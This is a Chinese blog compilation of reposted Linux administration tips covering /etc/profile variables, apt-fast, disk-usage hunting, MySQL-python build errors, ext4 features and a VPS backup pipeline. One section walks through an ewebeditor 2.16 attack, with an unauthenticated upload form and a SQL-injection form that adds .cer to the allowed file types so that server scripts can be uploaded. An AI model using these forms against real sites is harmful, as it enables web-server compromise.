出自:BugZone – http://www.pulog.org/Knows/1328/PHP-file-include/ 转载必须注明!

Linux /etc/profile文件详解

Linux /etc/profile文件的改变会涉及到系统的环境,也就是有关Linux环境变量的东西,学习Linux要了解Linux profile文件的相关原理,这里对则以文件进行具体分析。这里修改会对所有用户起作用。

1、Linux是一个多用户的操作系统。每个用户登录系统后,都会有一个专用的运行环境。通常每个用户默认的环境都是相同的,这个默认环境实际上就是一组环境变量的定义。用户可以对自己的运行环境进行定制,其方法就是修改相应的系统环境变量。

2、常在/etc/profile文件中修改环境变量,在这里修改的内容是对所有用户起作用的。以下主要操作将在该文件中进行。

3、如何添加环境变量。

例如添加”NAME=liheng“ 。在profile文件的最后添加如下内容export NAME=liheng

变量值liheng可以加引号也可以不加,效果一样。

4、在profile文件添加或修改的内容需要注销系统才能生效。

5、重复定义变量怎样理解。

  经常出现的是对PATH变量的定义。

  例如:在peofile文件默认对PATH变量都有设置PATH=¥¥¥¥¥¥¥(记不住了),在以后可能在对PATH设置,一般都加在profile 文件的最后PATH=······(打个比方)。而系统之中认定的PATH=·······¥¥¥¥¥¥¥¥¥,也就是说相同名字的环境变量,后写入的先起作用(通俗地讲)。大家一定要注意。

6、特殊字符介绍。

  例如在profile中有如下内容,通过以下内容说明特殊符号的用法。

  export A=/q/jing:aaa/cc/ld

  export B=.:/liheng/wang export A=/cd/cdr:$A

  大家注意红色的符号:

  : 表示并列含义,例如A变量值有多个,用:符号进行分离。

  . 表示你操作的当前目录。例如pap命令会查找B环境变量。

  在/home键入pap命令,系统首先在/home目录下(即当前路径)查找关于 B 的内容,www.linuxidc.com如果没有在/liheng/wang目录下查找关于B的内容。 $ 表示该变量本次定义之前的值,例如$A代表/q/jing:aaa/cc/ld。也就是说 A=/cd/cdr:/q/jing:aaa/cc/ld

7、使用env命令显示所有的环境变量 。在命令提示符下键入env就行了。

   set命令显示所有本地定义的Shell变量。

8、常见的环境变量
PATH:决定了shell将到哪些目录中寻找命令或程序

  HOME:当前用户主目录

  MAIL:是指当前用户的邮件存放目录。

  SHELL:是指当前用户用的是哪种Shell。

  HISTSIZE:是指保存历史命令记录的条数。

  LOGNAME:是指当前用户的登录名。

  HOSTNAME:是指主机的名称,许多应用程序如果要用到主机名的话,通常是从这个环境变量中来取得的。

  LANG/LANGUGE:是和语言相关的环境变量,使用多种语言的用户可以修改此环境变量。

  PS1:是基本提示符,对于root用户是#,对于普通用户是$。

  PS2:是附属提示符,默认是“>”。可以通过修改此环境变量来修改当前的命令符,比如下列命令会将提示符修改成字符串“Hello,My NewPrompt :) ”。

  # PS1=” Hello,My NewPrompt :) “

9、使用修改.bashrc文件(在用户的家目录下)进行环境变量的编辑,只对当前用户有用。使用修改 /etc/profile 文件进行环境变量的编辑,是对所有用户有用。大家一定要注意区别。

10、Linux profile文件在系统启动时将被运行。大家可以在里面加入其他命令,但是一定要加正确,不然的话系统会启动不起来的。
from:网络

Apt-fast and Axel: Faster apt-get Installations and Upgrades

Apt-fast script that combines the power of the axel download manager with the stability of apt-get.
Install axel in ubuntu

First you need to install axel in ubuntu using the following comamnd from your terminal

sudo apt-get install axel

Now you need to download apt-fast script from here.Then, just place the script somewhere (/usr/bin or /usr/sbin is ideal), rename it to apt-fast (without the .sh extension)

sudo mv apt-fast.sh apt-fast

now you need to change the permissions to downloaded script

sudo chmod +x apt-fast

Using apt-fast

Once done, just use it like apt-get. To install a single package, make sure your database is up to date (apt-fast update), and run apt-fast install packagenamehere. Watch it download with incredible speed, and install your requested packages. To upgrade or dist-upgrade, do the same thing. Just use apt-fast dist-upgrade or apt-fast upgrade.

Should your download stall for any number of reasons, you’ll need to do an apt-fast clean.

from:http://www.ubuntugeek.com/apt-fast-and-axel-faster-apt-get-installations-and-upgrades.html

什么吃掉了我的硬盘?

经常收到我们的 VPS 用户询问,“我的 VPS 没装新东西,为什么硬盘越用越少了?”,这多半是因为系统上的各种日志长期积累下来的结果,比如 nginx, apache 等留下来的访问日志信息长时间不清理、而且访问量大的话会很容易就膨胀到 GB;有时候某种应用程序的日志藏在文件系统的深处,不易发觉;有时候自己拷贝了一些大文件放在某个地方时间长了就忘了。那么如何在 Linux 系统上找到这些占用硬盘空间的文件呢?

首先我们可以统计一下根目录下各个目录占用硬盘的情况,找出最占用硬盘的那个目录:

# du -sh /*
6.2M	/bin
17M	/boot
136K	/dev
97M	/etc
147G	/home
584M	/lib
16M	/lib64
16K	/lost+found
8.0K	/media
12K	/mnt
252K	/opt
0	/proc
1.7G	/root
28M	/sbin
8.0K	/selinux
3.1M	/srv
0	/sys
20K	/tmp
1.9G	/usr
748M	/var

从上面可看出 /home 占用了最多的硬盘,我们去看看 /home 下哪些用户占用了最多的空间:

# du -sh /home/*
4.0K	/home/bak
106M	/home/cos
28K	/home/guest
16K	/home/lost+found
105G	/home/vpsee
33G	/home/somebody
8.2G	/home/abc

可以看到 vpsee 这个用户和他的 home 目录 /home/vpsee 用掉了最多的硬盘(105GB),我们再看看 /home/vpsee 下究竟哪些文件占用了空间,用下面的一行命令找出某个目录下(这里是 /home/vpsee)大小超过 500MB 的文件(打印前40行并按照 MB 从小到大排列):

# find /home/vpsee -printf "%k %p\n" | sort -g -k 1,1 | \
awk '{if($1 > 500000) print $1/1024 "MB" " " $2 }' |tail -n 40

647.68MB  /home/vpsee/linux/debian-504-amd64-CD-1.iso
675.664MB /home/vpsee/linux/Fedora-13-i686-Live.iso
677.656MB /home/vpsee/unix/osol-0906-x86.iso
678.172MB /home/vpsee/linux/ubuntu-10.04-server-amd64.iso
700.133MB /home/vpsee/linux/ubuntu-10.04-desktop-i386.iso
1304.64MB /home/vpsee/mac/MacTeX.mpkg.zip

可以看到 /home/vpsee 是个 iso 收藏狂,收了一堆 Linxu ISO 安装文件,以前拨号上网时代大家都喜欢收集一些软件和工具存在硬盘里,现在网络这么发达,这些旧习惯已经没必要了,ISO 文件可有可无,需要的时候就去下一个最新的,用不着自己保留,网络就是我们的硬盘。

from:http://www.vpsee.com/2010/08/what-is-using-my-disk-space-up/

Python中使用MySQL的问题

第一步:安装MySQL-python-1.2.2.tar

python setup.py build

python setup.py intstall
第二步:可能遇到的错误

1、libmysqlclient.so.16: cannot open shared object file: No such file or directory

需要安装新的包mysqlclient16-5.1.30-1.el5.remi.i386

或者通过ln -s设置链接

2、 在build的时候需要按照setuptools-0.6b1-py2.4.egg包

% wget -q http://peak.telecommunity.com/dist/ez_setup.py

% python ez_setup.py
Downloading http://cheeseshop.python.org/packages/2.4/s/
setuptools/setuptools-0.6b1-py2.4.egg#md5=b79a8a403e4502fbb85ee3f1941735cb
Processing setuptools-0.6b1-py2.4.egg
creating /sw/lib/python2.4/site-packages/setuptools-0.6b1-py2.4.egg
Extracting setuptools-0.6b1-py2.4.egg to /sw/lib/python2.4/site-packages
Removing setuptools 0.6a11 from easy-install.pth file
Adding setuptools 0.6b1 to easy-install.pth file
Installing easy_install script to /sw/bin
Installing easy_install-2.4 script to /sw/bin

Installed /sw/lib/python2.4/site-packages/setuptools-0.6b1-py2.4.egg
Processing dependencies for setuptools

这个按照需要上网,需要设置网络环境ip地址+DNS。

3 EnvironmentError: mysql_config not found

MySQL-python-1.2.2]# vi setup_posix.py
26 mysql_config.path = “/usr/local/mysql/bin/mysql_config”
将26行改为mysql_config的真是路径
再次执行python setup.py build;python setup.py install
就OK了
4 /usr/bin/ld: cannot find -lmysqlclient_r
解决方法一(已经测试通过)

执行以下命令:

echo “/usr/local/mysql/lib/mysql” >> /etc/ld.so.conf(我的环境是centos 5)

ldconfig,执行以后还是提示以上错误。

———————–

后来看来一下README,原文在下面

——————-

threadsafe
thread-safe client library (libmysqlclient_r) if True (default);
otherwise use non-thread-safe (libmysqlclient). You should
always use the thread-safe library if you have the option;
otherwise you *may* have problems.

———————————

得知得修改site.cfg,将thread-safe设为false,一切OK!

python setup.py install

解决方法二(没有测试)A thread-safe client library (libmysqlclient_r) will be created automatically during the compilation of MySQL if the configure command contains the option “–enable-thread-safe-client”.

from:来源:CSDN 作者:com_stu_zhang

ext4文件系统新特性 — 转载

本文转载自:http://linux.chinaunix.net/bbs/thread-1059437-1-1.html

Ext4是内核版本2.6.28的重要部分。

介绍

Ext4是Linux文件系统的一次革命。在很多方面,Ext4相对于Ext3的进步要远超过Ext3相对于Ext2的进步。Ext3相对于 Ext2的改进主要在于日志方面,但是Ext4相对于Ext3的的改进是更深层次的,是文件系统数据结构方面的优化。一个高效的、优秀的、可靠的和极具特点的文件系统就此诞生。

兼容性

任何Ext3文件系统都可以轻松的迁移到Ext4文件系统,你只需要在只读模式下运行几条命令即可。这就意味着你完全可以不格式化硬盘、不重装操作系统、不重装软件环境,就能够顺利的升级到Ext4文件系统。这种升级方法不会损害到你硬盘上的数据和资料,因为Ext4仅会在新的数据上使用,而基本不会改动原有数据。

更大的文件系统/文件大小

Ext3支持最大16TB的文件系统,2TB的文件大小。Ext4将支持最大1EB的文件系统,16TB的文件大小。

1EB=1024PB=1024*1024TB=1024*1024*1024GB

上述这个特性是由于Ext4采用了48位寻址。有人会问,为什么不是64位呢?因为就目前的开发进展来看,实现64位寻址存在一些技术限制,但是Ext4已经在考虑这个问题了,在不久的将来,Ext4将实现完全的64位支持。

子目录可扩展性

目前的Ext3中,单个目录下的子目录数目的上限是32000个。而在Ext4中打破了这种限制,可以创建无限多个子目录。

Extents

传统的类UNIX文件系统,比如Ext3,都是使用一个间接数据块映射表来记录每一个数据块的分配情况的。但是这种机制对于超大文件的存储是有缺陷
的,特别是当对超大文件进行删除和截断操作时。映射表会对每一个数据块进行记录,而一个超大文件将占有很多的数据块,因此造成映射表将变得无比臃肿,难于
维护。Ext4引入了一个新的概念,叫做“Extents”。一个Extents是一个地址连续的数据块的集合。比如一个100MB的文件将被分配给一个
单独的Extents,这样就不用像Ext3那样新增25600个数据块的记录(一个数据块是4KB)。而超大型文件会被分解在多个extents里。

Extents的实现提高了文件系统的性能,减少了文件碎片。

多块分配

在Ext3中,“将新的数据写入磁盘的哪些空闲块”是由块分配器来控制的。但是Ext3的块分配器存在一定缺陷,那就是它一次只能够分配一个数据块
(4KB),这就意味着,如果系统需要向磁盘中写入100MB的数据,那么需要调用块分配器25600次,而且由于块分配器无法获知总的分配块数,所以也
无法对分配空间和分配位置进行优化。

在Ext4中,使用了“多块分配器”,即一次调用可以分配多个数据块,这种机制提高了系统的性能,而且使得分配器有了充足的优化空间。

延迟分配

延迟分配(Delayed allocation)是一项仅仅少数现代文件系统才具有的优秀特性,比如XFS、ZFS、btrfs(better
FS)以及Reiser4。它能够尽可能的积累更多的数据块再分配出去,相对比,传统的文件系统则会尽快的将数据块分配出去,如Ext3,reiser3
等。

这项特性会和Extents特性以及多块分配特性相结合,使得磁盘IO性能得到显著提高。

更快速的FSCK

在Ext3中,Fsck本身是个速度很慢的操作,因为它要检查文件系统里的每一个“i节点”。但是,Ext4会维护一个未使用的“i节点”表,在进行
fsck操作时,会跳过表中节点,只检查正在使用中的i节点。这种机制使得fsck的效率提高为原有Ext3文件系统的2到20倍。不过,你要注意到一
点,那就是这个未使用的i节点表是由fsck来维护的,而不是由Ext4,因此你必须要首先运行一次fsck来生成,这样,在下次再运行fsck时才可以
享受提速。(虽然表是由fsck来维护的,但你还是需要从Ext3升级到Ext4才能够享受这项功能)

日志校验

日志要算是磁盘中最常用的部分了,也是最容易使硬盘出问题的机制之一。如果你不幸使用一个已经崩溃的日志来恢复系统的话,将导致更大规模的系统崩溃。
Ext4提供校验日志数据的功能,可以查看其潜在错误。而且,Ext4还会将Ext3日志机制中的“两阶段提交”动作合并为一个步骤,这种改进将使文件系
统的操作性能提升20%。这就是Ext4在日志机制方面对可靠度和性能的双重提升。

在线磁盘整理

这个特性没有包括在内核版本2.6.28之中,但是它很有可能会在下一个版本中引入。

虽然Extents、多块分配和延迟分配都有助于减少磁盘碎片,但是磁盘碎片仍然会产生。举例来说:你在一个目录下建立了三个文件 (f1,f2,f3),它们被按序写入到连续的一段内存之
中。然而几天之后,你想要更新文件f2,也就是位于这段连续内存的中间那一段的那个文件。我要向
这个文件中增加一些字符。很明显,在这段连续内存之中已经没有地方放下增加的这些字符,这别无选择,只能将这个f2文件移动到一个能容纳下的新的连续内存
之中。这导致了f2文件和f1、f3文件离的非常远,读取也相对缓慢了。看,这就产生了磁盘碎片了。

还有,可引导文件应该被放在连续的内存之中,但是磁盘整理机制并不知道哪些文件是可引导文件。

为了解决上述问题,Ext4将支持在线磁盘整理,e4defrag工具也被用来支持更智能的磁盘碎片整理功能。

结点相关特性

更大的i结点:Ext3支持自定义i结点大小,但是默认的i结点大小是128字节,Ext4将默认大小提升到256字节。增加的空间用来存储更多的结点信息,这样有利于提升磁盘性能。

i结点预留机制:当新建一个目录时,若干i结点会被预留下来,等新的文件在此目录中创建时,这些预留的i结点就可以立即被使用。文件的建立和删除将变得更加高效。

毫微秒级的时间戳:在Ext3中,时间精度是秒。在Ext4中,时间精度提升到了毫微秒。

可持续预分配

这个特性,已经出现在了Ext3的最后几个内核版本中,并且也可以由glibc在不支持此功能的文件系统中模拟产生,允许应用程序去预分配磁盘空间。应用程序告知文件系统给预留出一定的空间,文件系统会据此预分配必要的数据块,但是这些数据块将会是空的,直到应用程序向里面写入数据为止。这个机制会常常在P2P应用程序中用到,因为P2P应用程序下载文
件常常需要几天的时间。这种机制也防止了磁盘碎片的产生,因为文件系统会一次性分配尽可能连续的数据块给应用程序。再者,这种机制对于实时系统非常重要,
因为一旦没有这种机制,可能将会导致在一次重要操作的半截,磁盘空间已满。这项特性是通过调用posix_fallocate()来实现的。

如何使用Ext4

目前的Ext4文件系统是第一个稳定版本,整个的开发进度和发布计划都被放缓了,就是为了保证用户可以享受到“和使用Ext3同等级”的稳定。

一个非常重要的事情是,目前还没有Ext4 Grub。更准确的说,就是目前没有grub支持ext4。换句话说,就是你目前的发行版本的grub不支持ext4。目前我们的Grub2正在开发之中,在ubuntu和debian发行版中已经有了grub2的grub-pc软件包了,但是目前官方仍没有宣布正式支持。在Google SoC中也包含了一个开发版本,且发布了相关补丁。你可以试用一下,你自己选择喽。

在你的发行版本的下一个新版本之中,可能会有相关的支持出现。所以安全起见,尽量保持你的/boot目录为Ext3文件系统类型。

警告归警告,转换到Ext4其实是件很容易的事情,如下方法均可:

1 建立一个全新的Ext4文件系统。

这是最简单的方法,你只需要升级你的e2fsprogs到Ext4,并且使用mkfs.ext4命令创建文件系统即可。

2 从Ext3迁移到Ext4。

你需要使用tune2fs命令和fsck命令,并且当前文件系统需要被卸载才可以。运行命令

tune2fs -O extents,uninit_bg,dir_index /dev/yourfilesystem

此后,你务必运行fsck命令,否则Ext4将无法挂载你的新文件系统。在fsck过程中,可能会有一些error需要你的确认。你可以考虑使用 -p选项,来告诉fsck你想要的是“automatic repair”,即fsck -pf /dev/yourfilesystem

3 使用Ext4来挂载一个Ext3文件系统。

你可以使用mount
-t ext4 /dev/yourpartition
/mnt来将一个Ext3文件系统用Ext4来挂载,但你将享受不到那些需要改变磁盘格式才可以享受得到的特性,比如Extents。你可以享受到的只有
那些不需要改变磁盘格式即可享受得到的特性,比如多块分配、延迟分配等。我们当然不建议您这么做,因为Ext4的优秀特性,您将无法体会….

ewebeditor editor通过upload.asp构建form直接上传,及注入漏洞上传解释

今天碰到几个老版本的ewebeditor,就是2.16版本,早听说有注入,但是没玩过。这儿截图详细说下,算测试了。

1.构造正常表单:(对所有版本的ewebeditor都适用的)

<form action=”http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=” method=post name=myform enctype=”multipart/form-data”>
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>

这个表单对没有登录也没有ewebeditor.asp与admin_style.asp的也适用。

2.构造2.16版本注入上传表单网页

<form action=”http://www.xxxxx.cn/oa//ewebeditor/upload.asp?action=save&type=IMAGE&style=standardxxx’ union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b’|cer’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name=’standard’and’a'=’a” method=post name=myform enctype=”multipart/form-data”>
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>

==========这儿看到了。standardxxx是故意写的随便一个不存在的样式,那么才会以后面的union选择出来的为准了。而后面的文件类型加上了|cer,那么我们就可以上传cer文件了。

这儿截图说下如何知道成功与否及找到地方:

用2中的表单上传后,返回的页面也就是一个普通的上传页面,不过一定要打开html来看,在文件最后就有上传成功或者失败的提示,而且有路径哟。一般肯定对应uploadfile或uploadfiles目录。

from:http://hi.baidu.com/it_security/blog/item/e1cf3f4ec8b13d3bafc3ab98.html

分享下vps备份方法

tar cf - 需要备份的目录路径 | zip -1 -q -P 你的密码 - - | ncftpput -c -V -u ftp用户名 -p ftp密码 ftp.example.com /ftp上文件名
if [ $? -eq 0 ]; then
echo '备份成功'
fi

注意需要安装tar,zip和ncftp
这个备份方法有3个优点。。。
1. 不会生成本地文件,在备份大量文件时很有用,不会空间不足,而且IO占用低,对网站运行影响小。。
2. 备份的文件是压缩的,网站页面,数据库数据的压缩率还是很客观。
3. 备份的文件是加密的,主要你的密码足够复杂,放在ftp上很安全。。。
追记:
Zip格式所能支持的最大文件大小为4G!
我尝试过7za和rar,但都对管道支持不好
所以对于有4G以上数据的情况下,就得用gzip或者bzip2压缩了
但这样似乎就无法设置密码保护,有点遗憾
其实不怕麻烦的话,还是可以设置加密的,
就是在中间加上一个gpg,这个对管道进出支持很好

from:http://www.vpsbs.com/archives/124.html